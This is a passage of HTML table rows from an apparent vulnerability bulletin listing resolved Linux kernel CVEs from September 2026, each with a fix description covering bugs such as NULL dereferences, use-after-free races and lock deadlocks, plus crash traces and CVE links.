&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: block: handle nogenerate/noverify properly in fs-integrity Check the BIP_CHECK flags before generating or verifying PI information, otherwise this can be incorrectly called for non-PI metadata and cause generation of incorrect metadata and crashed in the verification handler. The new behavior matches that of the block layer auto-generated metadata.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93257&quot; target=&quot;_blank&quot;&gt;CVE-2026-93257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: do not use make_bad_inode() in ocfs2_read_inode_block_full() This reverts commit 58b6fcd2ab34 (&quot;ocfs2: mark inode bad upon validation failure during read&quot;). Since &#039;make_bad_inode()&#039; resets inode type to S_IFREG, doing this for directory inode during active VFS lookup is likely to confuse the latter, including VFS_BUG_ON_INODE() triggered in this case.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93258&quot; target=&quot;_blank&quot;&gt;CVE-2026-93258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: powerpc/irq: Fix missing r2 clobber in PCREL inline assembly In CONFIG_PPC_KERNEL_PCREL mode, r2 is no longer reserved for the TOC pointer and is available as a caller-saved register [0]. Both call_do_irq() and call_do_softirq() use inline assembly to call functions with stack switching, but fail to list r2 in their clobber lists. This causes the compiler to assume r2 is preserved across these calls, leading to register corruption when the called functions (__do_irq and __do_softirq) clobber r2. As a result of this kernel crash during interrupt handling is seen and the kernel fails to boot: BUG: Unable to handle kernel data access on write at 0xc000000404697638 Faulting instruction address: 0xc0000000000181ec Oops: Kernel access of bad area, sig: 11 [#1] NIP [c0000000000181ec] __do_IRQ+0x6c/0xc0 With older GCC, the compiler would conservatively allocate callee-saved registers (like r31) for values spanning function calls, accidentally avoiding the bug: &amp;lt;__do_IRQ&amp;gt;: 00 00 00 60 nop a6 02 08 7c mflr r0 f8 ff e1 fb std r31,-8(r1) f0 ff c1 fb std r30,-16(r1) 2d 03 10 06 pla r31,53297316 ... 3d e8 ff 4b bl c0000000000165ac &amp;lt;__do_irq&amp;gt; 00 00 21 e8 ld r1,0(r1) 28 00 4d e9 ld r10,40(r13) 40 00 21 38 addi r1,r1,64 2a f9 aa 7f stdx r29,r10,r31 With newer GCC 14, the compiler uses r2 for such values, exposing the missing clobber specification: &amp;lt;__do_IRQ&amp;gt;: 00 00 00 60 nop a6 02 08 7c mflr r0 f0 ff c1 fb std r30,-16(r1) f8 ff e1 fb std r31,-8(r1) 29 02 10 06 pla r2,36252592 # c0000000022aadc0 &amp;lt;__irq_regs&amp;gt; ... 85 dc ff 4b bl c000000000015ee0 &amp;lt;__do_irq&amp;gt; 00 00 21 e8 ld r1,0(r1) 28 00 2d e9 ld r9,40(r13) 30 00 21 38 addi r1,r1,48 2a 11 c9 7f stdx r30,r9,r2 Fix this by adding r2 to the clobber list for both call_do_irq() and call_do_softirq() when CONFIG_PPC_KERNEL_PCREL is enabled. [0]: https://www.mail-archive.com/gcc-patches@gcc.gnu.org/msg313226.html&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93259&quot; target=&quot;_blank&quot;&gt;CVE-2026-93259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: locking/lockdep: Fix NULL pointer dereference in __lock_set_class() register_lock_class() can return NULL when the lock class pool is exhausted, graph_lock() fails, or key validation fails. However, __lock_set_class() uses the return value directly in pointer arithmetic without a NULL check: class = register_lock_class(lock, subclass, 0); hlock-&amp;gt;class_idx = class - lock_classes; If class is NULL, this computes a wild offset that corrupts hlock-&amp;gt;class_idx. The subsequent reacquire_held_locks() call will invoke hlock_class() with this corrupted index, leading to a NULL or out-of-bounds pointer dereference. Add the missing NULL check, consistent with how __lock_acquire() already handles this case at the same call site.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93261&quot; target=&quot;_blank&quot;&gt;CVE-2026-93261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clk: eswin: Zero-initialize stack-allocated clk_init_data eswin_clk_register_pll() and eswin_register_clkdiv() declare a struct clk_init_data on the stack and only initialize some of its fields (parent_data respectively parent_hws). clk_core_populate_parent_map() checks parent_names first and parent_data second before falling back to parent_hws, so leftover stack garbage in the uninitialized fields hijacks parent resolution and the clk core dereferences a bogus pointer: Unable to handle kernel NULL pointer dereference at virtual address 000000000000000c Oops [#1] epc : __clk_register+0x31a/0x7f0 [&amp;lt;ffffffff805dc774&amp;gt;] __clk_register+0x31a/0x7f0 [&amp;lt;ffffffff805dcd76&amp;gt;] devm_clk_hw_register+0x2a/0x94 [&amp;lt;ffffffff805e319a&amp;gt;] eswin_register_clkdiv+0x80/0xd0 [&amp;lt;ffffffff805e34a0&amp;gt;] eswin_clk_register_clks+0x162/0x1a0 [&amp;lt;ffffffff805e3736&amp;gt;] eic7700_clk_probe+0x146/0x180 [&amp;lt;ffffffff8065d23c&amp;gt;] platform_probe+0x3c/0x7a Observed on EIC7700 hardware (with the driver backported to a 6.17 tree); whether the bug triggers depends entirely on what the stack happens to contain when the registration helpers run. Zero-initialize both structures.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93263&quot; target=&quot;_blank&quot;&gt;CVE-2026-93263&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/efa: Fix PBL chunk length computation On register MR, when creating the PBL, if it&#039;s an indirect PBL we create a chunk list to hold the PBL pages pointers. Each chunk is 4KB in size and can hold 510 addresses (EFA_PTRS_PER_CHUNK) and has a 12-byte control buffer at the end of it holding the next chunk&#039;s pointer and its length. If the PBL number of pages is a multiple of EFA_PTRS_PER_CHUNK, the calculated last chunk length is wrongly computed as 0, even though that chunk is fully populated with 510 real page pointers. This wrong length is used both to DMA map the chunk and is propagated to the device, causing the device to see the chunk as empty and reject the memory registration. Fix the calculation so it will be performed only if the number of pages isn&#039;t a multiple of EFA_PTRS_PER_CHUNK, if it is, its already handled in the above loop correctly. Also prevent out-of-bounds reach in the chunks array in such scenario.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93264&quot; target=&quot;_blank&quot;&gt;CVE-2026-93264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: RSI: fix field-spanning write warning in attestation token init The challenge is passed in registers a1 through a8. However, copying to &amp;amp;regs.a1 makes FORTIFY treat the destination as the single a1 field, resulting in a field-spanning write warning. [1] Overlay the SMCCC register structure with an RSI-specific argument layout and copy the challenge into an explicit 64-byte array. This keeps the existing a1-a8 argument encoding while giving the copy a correctly sized destination object. [1] memcpy: detected field-spanning write (size 64) of single field &quot;&amp;amp;regs.a1&quot; at ./arch/arm64/include/asm/rsi_cmds.h:119 (size 8) WARNING: ./arch/arm64/include/asm/rsi_cmds.h:119 at rsi_attestation_token_init+0xdc/0xf8 [arm_cca_guest], CPU#0: cat/3314&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93266&quot; target=&quot;_blank&quot;&gt;CVE-2026-93266&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in uverbs_free_dmah() When accessing a dmah via the netlink path the only synchronization mechanism for the said dmah is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of uverbs_free_dmah(), which is too late, since by that point vendor-specific resources associated with the dmah might already be freed. This can leave a short window where the dmah remains accessible through restrack, leading to a potential use-after-free. Fix this by moving the rdma_restrack_begin_del() call to the start of uverbs_free_dmah(), ensuring that the dmah is removed from restrack before its internal resources are released. This guarantees that no new users hold references to a dmah that is in the process of destruction. In addition, this change preserves the intended inverted order between create and destroy routines: resources are added to restrack at the end of successful creation, and hence shall be removed from the restrack first thing during the destruction flow, which keeps the lifecycle management consistent and predictable.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93267&quot; target=&quot;_blank&quot;&gt;CVE-2026-93267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: skip extra isize expansion during mount to prevent deadlock ext4_try_to_expand_extra_isize() is called from __ext4_mark_inode_dirty() while holding an active jbd2 handle. During mount (!SB_ACTIVE), the expand path may move xattrs to external blocks and release ea_inodes via iput(). When !SB_ACTIVE, iput() calls write_inode_now() which acquires s_writepages_rwsem, creating a circular lock dependency: s_writepages_rwsem --&amp;gt; jbd2_handle --&amp;gt; xattr_sem --&amp;gt; s_writepages_rwsem This can be triggered via: ext4_process_orphan() -&amp;gt; ext4_truncate() -&amp;gt; ext4_mark_inode_dirty() -&amp;gt; ext4_try_to_expand_extra_isize() or: ext4_evict_inode() -&amp;gt; ext4_mark_inode_dirty() -&amp;gt; ext4_try_to_expand_extra_isize() Skip expansion when !SB_ACTIVE. This is a minor loss of functionality (extra isize won&#039;t grow for these inodes during mount), which e2fsck can resolve later if needed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93268&quot; target=&quot;_blank&quot;&gt;CVE-2026-93268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: fix circular lock dependency in ext4_ext_migrate Move iput(tmp_inode) after ext4_writepages_up_write() to avoid a circular lock dependency between s_writepages_rwsem and sb_internal (freeze protection). The deadlock scenario: CPU0 (EXT4_IOC_MIGRATE) CPU1 (orphan cleanup during mount) ---- ---- ext4_ext_migrate() ext4_writepages_down_write() s_writepages_rwsem (write) ext4_evict_inode() sb_start_intwrite() [sb_internal] ... ext4_writepages() s_writepages_rwsem (read) [BLOCKED] iput(tmp_inode) ext4_evict_inode() sb_start_intwrite() [BLOCKED] The tmp_inode is a temporary inode with nlink=0 created solely for building the extent tree. Its eviction does not require s_writepages_rwsem protection, so deferring iput() until after releasing the rwsem is safe.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93269&quot; target=&quot;_blank&quot;&gt;CVE-2026-93269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Disallow interpreter fallback for BPF_ADDR_PERCPU insn The BPF_MOV64_PERCPU_REG insn requires JIT to emit native code to for &#039;dst_reg = src_reg + &amp;lt;percpu_base_off&amp;gt;&#039;. However, the interpreter ignores the &#039;off&#039; at its ALU64_MOV_X label. The &#039;off&#039; indicates the insn is BPF_MOV64_PERCPU_REG insn. Then, when the interpreter loads memory from the register, it will hit a page fault. [ 2.545572] BUG: unable to handle page fault for address: ffffffffacaaf034 [ 2.546485] #PF: supervisor read access in kernel mode [ 2.547167] #PF: error_code(0x0000) - not-present page [ 2.547850] PGD 134e63067 P4D 134e63067 PUD 134e64063 PMD 10021c063 PTE 800ffffeca550062 [ 2.548912] Oops: Oops: 0000 [#1] SMP PTI Set jit_required as true in order to disallow interpreter fallback in core.c::__bpf_prog_select_runtime(), if any BPF_ADDR_PERCPU insn is patched to the prog. BTW, rename the helper bpf_map_supports_cpu_flags() to bpf_map_is_percpu_map().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93270&quot; target=&quot;_blank&quot;&gt;CVE-2026-93270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: cap out-of-range rx MCS instead of leaving bogus rate ath11k can receive HT/VHT/HE frames whose reported MCS is above the maximum that can be expressed in the corresponding mac80211 rate space (e.g. an HE frame reported with MCS 12, while HE tops out at MCS 11). The frame itself is valid and decodes correctly, but for such a frame ath11k_dp_rx_h_rate() leaves rx_status-&amp;gt;rate_idx set to the out-of-range value and never assigns rx_status-&amp;gt;encoding, so it stays RX_ENC_LEGACY from the ath11k_dp_rx_h_ppdu() initialization. Once that frame reaches mac80211 it trips the rate sanity check and the frame is dropped with a splat: ath11k_pci 0000:03:00.0: Received with invalid mcs in HE mode 12 WARNING: CPU: 0 PID: 0 at net/mac80211/rx.c:5433 ieee80211_rx_list+0xb0a/0xe90 [mac80211] Dropping the frame would discard otherwise valid data, so instead cap the reported MCS to the maximum the rate space can express and deliver the frame. Set rx_status-&amp;gt;encoding before the range check and assign rate_idx from the capped value, so a frame with an out-of-range MCS no longer leaves partial or bogus rate metadata behind. Also downgrade the logging level since they are not treated as invalid frames now. The only loss is that such a frame is reported as the capped MCS in the rx rate statistics. Tested-on: WCN6855 hw2.1 PCI WLAN.HSP.1.1-03125-QCAHSPSWPL_V1_V2_SILICONZ_LITE-3.6510.41&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93271&quot; target=&quot;_blank&quot;&gt;CVE-2026-93271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: remoteproc: qcom_wcnss: Fix handling the lack of PD regulators in v3 The changes introduced to handle single power domain platforms have swapped the info pointer increment from num_pd_vregs to num_pds, which would shift the info pointer past the end of the array for pronto-v3, which does not list power domain regulators in vregs. This showed up as a difference between GCC- and LLVM-compiled kernels on SDM632 devices, where only with LLVM one would get the &quot;regulator request with no identifier&quot; error, because the out-of-bounds memory ended up being zeroed. Fix by skipping the increment when there are more power domains than regulators.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93272&quot; target=&quot;_blank&quot;&gt;CVE-2026-93272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: regulator: tps6594: Fix device node reference leaks in multiphase loop In tps6594_regulator_probe(), the multi-phase configuration loop calls of_find_node_by_name() to find buck nodes by name, and of_get_parent() twice to navigate to the PMIC parent node. None of the acquired node references (np, intermediate parent, np_pmic_parent) are ever released via of_node_put(), causing a reference leak on every loop iteration. Additionally, of_find_node_by_name() can return NULL, but the result was immediately passed to of_node_full_name() and of_get_parent() without a NULL check, which could lead to a NULL pointer dereference. Fix this by: - Adding a NULL check for np after of_find_node_by_name() - Storing the intermediate parent node in a local variable np_parent - Calling of_node_put() on np, np_parent and np_pmic_parent at the end of each loop iteration&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93273&quot; target=&quot;_blank&quot;&gt;CVE-2026-93273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pinctrl: bcm2835: Don&#039;t remove an unregistered GPIO chip If the devm_pinctrl_register() function fails, bcm2835_pinctrl_probe() calls gpiochip_remove() before gpiochip_add_data() has registered the GPIO chip. This means that upon failure the gpio_chip.gpiodev is NULL resulting in a null pointer dereference inside the gpiochip_remove() function. Remove the unnecessary function call to gpiochip_remove(). No GPIO cleanup is required because the GPIO chip has not yet been registered. Without this change there is potential for a kernel panic upon registration failure&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93274&quot; target=&quot;_blank&quot;&gt;CVE-2026-93274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel/pt: Fix stop/start with no update If pt_event_stop() is called without PERF_EF_UPDATE flag, then perf_aux_output_end() is not called. A subsequent call to pt_event_start() will call perf_aux_output_begin() again which violates the rule against nesting and triggers a WARNING in perf_aux_output_begin(). Originally, pt_event_stop() was never called without PERF_EF_UPDATE, because the only code paths to do so are from event overflow, and Intel PT does not do that. However the introduction of group throttling by commit 9734e25fbf5ae (&quot;perf: Fix the throttle logic for a group&quot;) meant that an Intel PT event could be throttled if it was part of a group. Throttling calls PMU -&amp;gt;stop() / -&amp;gt;start() callbacks without flags. An example is when AUX area sampling is used. The following commands hit the issue: echo 10000 &amp;gt; /proc/sys/kernel/perf_event_max_sample_rate perf record -F32000 --aux-sample -e &#039;{intel_pt//u,cycles:u}&#039; \ -- bash -c &#039;for i in `seq 1 100000` ; do true ; done&#039; Use PERF_HES_UPTODATE to track whether perf_aux_output_begin() and perf_aux_output_end() are balanced. A cleared PERF_HES_UPTODATE bit indicates that an AUX output context is still open. Amend pt_event_start() / pt_event_stop() accordingly so that begin/end stay balanced: - In non-snapshot mode, stop() always closes the buffer (the buffer may have run out of space, and that accounting is done by the update), so a following start() opens a fresh one as before. - In snapshot/overwrite mode, stop() without PERF_EF_UPDATE leaves the buffer open so that pt_event_snapshot_aux() can still copy from it, and start() then only re-enables tracing instead of calling perf_aux_output_begin() again. Note that pt_event_del() calls pt_event_stop() with PERF_EF_UPDATE flag set (as is required by the documentation), so a final call to perf_aux_output_end() is assured.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93275&quot; target=&quot;_blank&quot;&gt;CVE-2026-93275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phy: renesas: phy-rcar-gen3-usb2: Fix devm action registration for disabled VBUS regulator devm_regulator_get_exclusive() initialises the regulator with enable_count = 1, requiring the consumer to disable it before release. The devm disable action was previously only registered when the caller explicitly requested enable, so when the regulator was left in its initial enabled state without an explicit enable call, the cleanup path skipped decrementing enable_count, triggering a WARN_ON during regulator release on device removal. Fix this by always registering the devm disable action based on the actual enabled state via regulator_is_enabled(), regardless of whether the caller requested an explicit enable. This covers both the explicitly enabled case and the initial state set by devm_regulator_get_exclusive().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93276&quot; target=&quot;_blank&quot;&gt;CVE-2026-93276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: octeon: add missing napi_disable in cvm_oct_rx_shutdown cvm_oct_rx_shutdown calls free_irq and netif_napi_del without disabling the napi instance first. As the free_irq only waits for completion of hard interrupt handlers, the napi poll function could still be active. If cvm_oct_remove proceeds to free the plat structure (which holds the NAPI instances), the active poll function will access freed memory, resulting in a use-after-free crash.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93278&quot; target=&quot;_blank&quot;&gt;CVE-2026-93278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: octeon: add missing tasklet_kill in cvm_oct_tx_shutdown The TX cleanup tasklet can be scheduled by the watchdog IRQ handler to execute cvm_oct_tx_do_cleanup. There can be a pending tasklet in the queue which might run after the cvm_oct_remove() frees net_device structures, causing a use-after-free in cvm_oct_tx_do_cleanup() as it iterates cvm_oct_device[] which is an array of netdevice pointers. Add tasklet_kill() after free_irq() to ensure the tasklet is no longer scheduled or running before teardown proceeds.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93279&quot; target=&quot;_blank&quot;&gt;CVE-2026-93279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtw89: fix HE extended capability length check rtw89_mac_check_he_obss_narrow_bw_ru_iter() reads extended capability byte 10, but rejects only datalen values below 10. Byte 10 requires at least 11 bytes. Require datalen &amp;gt;= 11 before reading data[10].&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93281&quot; target=&quot;_blank&quot;&gt;CVE-2026-93281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: Fix device_register() error path When device_register() fails in i3c_master_register_new_i3c_devs(), put_device() is called to drop the reference taken by device_register(). That drops the last reference, so the device&#039;s release callback i3c_device_release() runs and frees the i3c_device. Two problems follow from that: i3c_device_release() does WARN_ON(i3cdev-&amp;gt;desc), so it warns because desc-&amp;gt;dev-&amp;gt;desc still points back at the descriptor. Clear it before calling put_device(). After put_device() frees the i3c_device, desc-&amp;gt;dev is left pointing at freed memory, so clear desc-&amp;gt;dev as well. That prevents, for example, i3c_master_unregister_i3c_devs() seeing desc-&amp;gt;dev as non-NULL and dereferencing it.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93283&quot; target=&quot;_blank&quot;&gt;CVE-2026-93283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: embed f2fs_gc_kthread in f2fs_sb_info Instead of allocating f2fs_gc_kthread dynamically, embed it in f2fs_sb_info. This simplifies lifetime management and prepares for fixing race conditions during teardown. - __sbi_store - remount|shutdown - f2fs_stop_gc_thread - access sbi-&amp;gt;gc_thread - sbi-&amp;gt;gc_thread = NULL - access sbi-&amp;gt;gc_thread-&amp;gt;f2fs_gc_task&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93285&quot; target=&quot;_blank&quot;&gt;CVE-2026-93285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: appletalk: fix NULL pointer dereference in aarp_send_ddp() aarp_send_ddp() calls atalk_find_dev_addr(dev) in the LocalTalk fast path without checking for NULL. When the device has no AppleTalk interface configured (dev-&amp;gt;atalk_ptr == NULL), this leads to a NULL pointer dereference at the at-&amp;gt;s_net access. KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] RIP: 0010:aarp_send_ddp (net/appletalk/aarp.c:552 (discriminator 2)) Call Trace: &amp;lt;TASK&amp;gt; atalk_sendmsg (net/appletalk/ddp.c:1715) __sys_sendto (net/socket.c:2265 (discriminator 1)) __x64_sys_sendto (net/socket.c:2272) do_syscall_64 (arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) Add a NULL check consistent with the other callers of atalk_find_dev_addr().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93286&quot; target=&quot;_blank&quot;&gt;CVE-2026-93286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: core: Do not block on tag allocation in scsi_eh_lock_door() scsi_eh_lock_door() is called from scsi_restart_operations() while the host is still in the SHOST_RECOVERY state, i.e. before the host is switched back to SHOST_RUNNING and scsi_run_host_queues() restarts the queues. It allocates a request via scsi_alloc_request() with no flags, so blk_mq_get_tag() may block waiting for a free sched tag when all tags are already in use. Those tags can be held by commands that were just requeued by scsi_eh_flush_done_q() during error handling. Such commands cannot be dispatched until the host leaves SHOST_RECOVERY and scsi_run_host_queues() is called - which only happens *after* scsi_eh_lock_door() returns. This forms a circular dependency: - scsi_eh_lock_door(), running in the SCSI error handler thread, waits for a sched tag held by a requeued command; - the requeued command cannot complete and release its sched tag until the error handler thread leaves scsi_restart_operations() and restart the queues. For devices with a single driver tag (e.g. USB storage) it is a guaranteed deadlock and I/O that can never be submitted. This problem has also been reproduced in our environment. Locking the door is a best-effort operation, and scsi_eh_lock_door() already returns silently when the request allocation fails. Pass BLK_MQ_REQ_NOWAIT to scsi_alloc_request() so the allocation fails instead of blocking when no tag is available. This breaks the circular dependency and allows the error handler to finish restarting the queues, after which the pending commands are dispatched normally.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93781&quot; target=&quot;_blank&quot;&gt;CVE-2026-93781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
